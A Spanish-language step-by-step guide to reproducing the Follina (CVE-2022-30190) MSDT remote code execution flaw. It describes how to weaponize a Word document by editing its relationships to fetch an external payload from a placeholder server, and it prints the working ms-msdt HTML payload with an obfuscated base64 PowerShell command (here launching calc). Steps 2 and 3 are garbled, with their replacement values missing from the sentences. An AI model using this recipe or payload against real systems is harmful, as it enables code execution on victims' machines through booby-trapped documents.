
Guía de reproducción paso a paso para la vulnerabilidad de ejecución remota de código CVE-2022-30190 (Follina) MSDT, que incluye la creación de documentos maliciosos y la configuración de un servidor C2.
también conocido como Follina
Follina se encuentra en la herramienta de diagnóstico de soporte de Microsoft (Microsoft Support Diagnostic Tool, MSDT). Cuando una aplicación llama a MSDT a través de un protocolo URL para obtener soporte, se produce una vulnerabilidad de ejecución remota de código. Una explotación exitosa permite a un atacante ejecutar código arbitrario con los permisos de la aplicación en ejecución.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Paso 1: Cree un documento de Word (.docx) e inserte un objeto OLE (por ejemplo, Bitmap Image) en el texto.
Paso 2: Descomprima el archivo .docx, edite el archivo word/_rels/document.xml.rels en la carpeta, modifique (resaltado en amarillo en la imagen a continuación) a , y agregue el atributo .
Paso 3: Edite el archivo en la carpeta, modifique (resaltado en amarillo en la imagen a continuación) a , y agregue el atributo .
Paso 4: Use 7-zip para abrir el archivo .docx (sin descomprimirlo), coloque los dos archivos anteriores en el archivo .docx, completando la creación del documento malicioso.
Target="embeddings/oleObject1.bin"Target = "http://<payload_server>/<random_name>.html!"TargetMode = "External"
word/document.xmlType="Embed"Type="Link"UpdateMode="OnCall"
Descargue Follina.py publicado por John Hammond. Aquí, tomemos como ejemplo la llamada básica a la calculadora:
python3 follina.py -c calc.exe -i eth0
En el archivo Follina.py, las líneas 117-125 se centran en la creación del payload malicioso (.html). El contenido es el siguiente: <script>location.href... es el script que ejecutará la calculadora en la máquina víctima. Todo el archivo también se llena con una gran cantidad de caracteres aleatorios, con el objetivo de que el archivo tenga al menos 4096 bytes. La razón se puede consultar en el ataque "Follina" MSDT
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script